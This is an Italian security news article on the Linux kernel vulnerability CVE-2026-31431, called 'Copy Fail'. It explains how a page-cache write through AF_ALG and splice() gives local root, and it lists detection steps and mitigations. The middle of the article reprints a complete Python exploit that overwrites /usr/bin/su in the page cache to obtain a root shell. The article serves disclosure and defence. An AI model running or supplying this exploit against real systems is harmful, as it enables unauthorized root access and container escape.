Copy Fail colpisce Linux: 4 byte bastano per ottenere l’accesso a root

Un nuovo bug di sicurezza, monitorato con il codice CVE-2026-31431 e soprannominato Copy Fail, rappresenta uno dei bug più insidiosi emersi negli ultimi anni all’interno del kernel Linux. Il problema di sicurezza, nasce nel template crittografico authencesn, il quale consente a un utente locale non privilegiato di scrivere, in modo controllato, 4 byte nella “page cache” all’interno di qualsiasi file leggibile.

Non viene modificato il file su disco o il checksum, infatti i controlli di integrità restano puliti, ma il sistema legge dalla cache presente nella memoria del sistema dove può avvenire manipolazione.

Un semplice script scritto in Python di 732 byte, basta per compromettere i binari come ad esempio /usr/bin/su per poi ottenere privilegi root. Non occorre nessuna race condition e questo non provoca alcuna instabilità del sistema e la cosa interessante è che funziona al primo colpo.

Molti ricorderanno i noti bug come Dirty Cow (CVE-2016-5195) o Dirty Pipe (CVE-2022-0847) e questa vulnerabilità si colloca all’interno di questi critici bug che permettono l’escalation di privilegi.

Dirty Pipe, possiamo definirlo un fratello di Copy Fail, in quanto appartengono alla stessa famiglia. Infatti il primo si basa sulla corruzione della cache di pagina da spazio utente non privilegiato, senza alcuna modifica su disco, scrittura su binario setuid, root. Dirty Pipe ha abusato dei flag del buffer della pipe. Copy Fail abusa di una scrittura scratch AEAD che attraversa un confine di scatterlist concatenata.

La cosa interessante è che Copy Fail è più portatile in quanto dispone di un unico script, compatibile con tutte le distribuzioni, senza offset. Dirty Pipe richiedeva infatti un kernel ≥ 5.8 con patch specifiche; Copy Fail copre 9 anni di distribuzione e quindi da 2017 al 2026.

Inoltre, la portabilità è sorprendente: Ubuntu, Amazon Linux, RHEL e SUSE risultano vulnerabili senza necessità di adattamenti.

Il meccanismo: page cache e scrittura fuori controllo

Il cuore del problema sta nell’interazione tra AF_ALG, splice() e il comportamento dell’algoritmo authencesn. La funzione splice() consente di trasferire i dati tra il file descriptor senza copia, mantenendo i riferimenti diretti alle pagine presenti nella cache. Quando questi specifici riferimenti entrano nel sottosistema di crittografia, finiscono in una struttura he viene denominata scatterlist.

Qui avviene l’errore, infatti, durante la fase di decrittazione, authencesn utilizza il buffer di destinazione come un’area temporanea e scrive i 4 byte oltre i limiti che risultano non previsti. In condizioni normali tutto sembra essere innocuo, ma in questo contesto, quei 4 byte in più finiscono direttamente nella page cache del file target.

Il risultato è una modifica all’interno della memoria la quale diventa persistente fino al riavvio o allo svuotamento della cache e risulta, oltretutto invisibile agli strumenti tradizionali. Questo comportamento non risulta essere condiviso da altri algoritmi come AEAD, GCM o CCM, infatti è un caso isolato, ed è proprio questo il motivo per il quale è rimasto inosservato per anni.

Impatto reale e mitigazioni disponibili

L’exploit (pubblicato su github) è molto semplice, ed segue la logica lineare, ovvero, si prepara il payload, si individua l’offset nel file target e si forza la scrittura. Una volta modificato il binario all’interno della cache, basta banalmente eseguirlo per ottenere una shell a root.

#!/usr/bin/env python3
import os as g,zlib,socket as s
def d(x):return bytes.fromhex(x)
def c(f,t,c):
 a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
 try:u.recv(8+t)
 except:0
f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
while i<len(e):c(f,i,e[i:i+4]);i+=4
g.system("su")

Il rischio non si limita solo al sistema locale perchè la page cache è condivisa tra processi e container, e qua si aprono scenari di container escape e compromissione dei nodi Kubernetes.

Come verificare se il sistema è vulnerabile

• Controllare la versione del kernel Linux in uso
• Verificare se è presente la patch che rimuove l’operazione in-place in algif_aead
• Monitorare la presenza del modulo algif_aead

Comando utile:
uname -r

Se il kernel è precedente alla patch correttiva, il sistema è potenzialmente vulnerabile.

Mitigazioni immediate

• Aggiornare il kernel tramite i pacchetti ufficiali della distribuzione
• Disabilitare il modulo vulnerabile:
  echo “install algif_aead /bin/false” > /etc/modprobe.d/disable-algif-aead.conf
• Applicare policy seccomp per bloccare AF_ALG

La patch ufficiale elimina l’ottimizzazione introdotta nel 2017, separando le strutture di input e output e impedendo che le pagine della cache finiscano in una zona scrivibile.

Ricerca e scoperta della vulnerabilità

La scoperta di copy.fail è attribuita al team Xint Code Research Team, con il contributo iniziale del ricercatore Taeyang Lee.

Bajram Zeqiri

Bajram Zeqiri è un esperto di cybersecurity, cyber threat intelligence e digital forensics con oltre vent'anni di esperienza, che unisce competenze tecniche, visione strategica creare la resilienza cyber per le PMI. Fondatore di ParagonSec e collaboratore tecnico per Red Hot Cyber, opera nella delivery e progettazione di diversi servizi cyber, SOC, MDR, Incident Response, Security Architecture, Engineering e Operatività. Aiuta le PMI a trasformare la cybersecurity da un costo a leva strategica per le PMI.

Aree di competenza: Cyber threat intelligence, Incident response, Digital forensics, Malware analysis, Security architecture, SOC/MDR operations, OSINT research